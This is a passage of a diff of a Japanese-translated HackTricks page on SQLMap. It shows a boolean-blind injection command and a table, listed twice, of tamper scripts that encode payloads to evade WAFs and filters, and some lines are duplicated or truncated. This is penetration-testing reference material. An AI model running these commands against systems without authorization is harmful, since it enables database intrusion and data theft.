|
||||
|
||||
SQLMapは自動的にレスポンスを分析し、アプリケーションがブールベースのSQLインジェクションの脆弱性を持っているかどうかを判断します。
|
||||
|
||||
4. If the application is vulnerable, SQLMap will provide you with options to further exploit the vulnerability, such as extracting data from the database or even executing arbitrary commands on the underlying system.
|
||||
|
||||
アプリケーションが脆弱である場合、SQLMapはデータベースからデータを抽出したり、基礎となるシステムで任意のコマンドを実行したりするなど、脆弱性をさらに攻撃するためのオプションを提供します。
|
||||
|
||||
By following these steps, you can effectively use SQLMap to detect and exploit boolean-based SQL injection vulnerabilities in web applications. Remember to always obtain proper authorization before performing any penetration testing activities.
|
||||
ブールインジェクションは、セキュリティ上の脆弱性として深刻な影響を与える可能性があるため、ウェブアプリケーションのセキュリティテストにおいて重要な要素です。適切な手法とツールを使用して、ブールインジェクションを検出し、修正することが重要です。
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper(改ざん)
|
||||
|
||||
**Pythonで独自の改ざんを作成することができる**ことを覚えておいてください。非常に簡単です。[Second Order Injectionのページ](second-order-injection-sqlmap.md)に改ざんの例があります。
|
||||
**自分自身でPythonで独自の改ざんを作成することができる**ことを覚えておいてください。非常に簡単です。[Second Order Injectionのページ](second-order-injection-sqlmap.md)に改ざんの例があります。
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
```
|
||||
| Tamper | 説明 |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8の全角文字に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコードの対応文字に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64でエンコードします。 |
|
||||
| between.py | 大なり演算子('>')を'NOT BETWEEN 0 AND #'に置き換えます。 |
|
||||
| bluecoat.py | SQLステートメントの後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字をダブルURLエンコードします(すでにエンコードされているものは処理しません)。 |
|
||||
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます。 |
|
||||
| commalessmid.py | 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます。 |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'のようなインスタンスを'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされているものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"%u0022"。 |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"\u0022"。 |
|
||||
| equaltolike.py | 全ての等号演算子('=')をLIKE演算子に置き換えます。 |
|
||||
| escapequotes.py | クォート('と")をスラッシュでエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を'GREATEST'に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます。 |
|
||||
| modsecurityversioned.py | バージョン付きのコメントでクエリ全体を囲みます。 |
|
||||
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます(例:.replace("SELECT", ""))フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません)。 |
|
||||
| randomcase.py | 各キーワードの文字をランダムな大文字と小文字の値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp\_password.py | ペイロードの末尾に'sp\_password'を追加して、DBMSログからの自動的な曖昧化を行います。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントで置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド記号('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド記号('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド記号('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびORの論理演算子をそれらのシンボルに置き換えます(&&および\|\|)。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | クォート(')をマルチバイトコンボ%bf%27と一緒にジェネリックコメントで置き換えます(動作させるために最後に追加)。 |
|
||||
| uppercase.py | 各キーワードの文字を大文字の値'INSERT'に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します。 |
|
||||
| versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます。 |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します。 |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8の全角対応文字に置き換えます |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64でエンコードします |
|
||||
| between.py | 大なり演算子('>')を'NOT BETWEEN 0 AND #'に置き換えます |
|
||||
| bluecoat.py | SQLステートメントの後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字をダブルURLエンコードします(すでにエンコードされているものは処理しません) |
|
||||
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます |
|
||||
| commalessmid.py | 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます |
|
||||
| concat2concatws.py | 'CONCAT(A, B)'のようなインスタンスを'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされているものは処理しません) |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"\u0022" |
|
||||
| equaltolike.py | 全ての等号演算子('=')をLIKE演算子に置き換えます |
|
||||
| escapequotes.py | クォート('と")をスラッシュでエスケープします |
|
||||
| greatest.py | 大なり演算子('>')を'GREATEST'に置き換えます |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます |
|
||||
| modsecurityversioned.py | バージョン付きのコメントでクエリ全体を囲みます |
|
||||
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
|
||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます(例:.replace("SELECT", ""))フィルター) |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) |
|
||||
| randomcase.py | 各キーワード文字をランダムな大文字または小文字の値に置き換えます |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
|
||||
| securesphere.py | 特別に作成された文字列を追加します |
|
||||
| sp\_password.py | ペイロードの末尾に'sp\_password'を追加して、DBMSログからの自動的な曖昧化を行います |
|
||||
| space2comment.py | スペース文字(' ')をコメントで置き換えます |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します |
|
||||
| space2plus.py | スペース文字(' ')をプラス記号('+')に置き換えます |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます |
|
||||
| symboliclogical.py | ANDおよびORの論理演算子をそれらのシンボルに置き換えます(&&および\|\|) |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます |
|
||||
| unmagicquotes.py | クォート(')をマルチバイトコンボ%bf%27と一緒にジェネリックコメントで置き換えます(動作させるために最後に追加) |
|
||||
| uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます |
|
||||
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します |
|
||||
| versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -473,7 +468,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイ
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**PEASSの最
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)@carlospolopmをフォローしてください。
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
|
|
Loading…
Reference in a new issue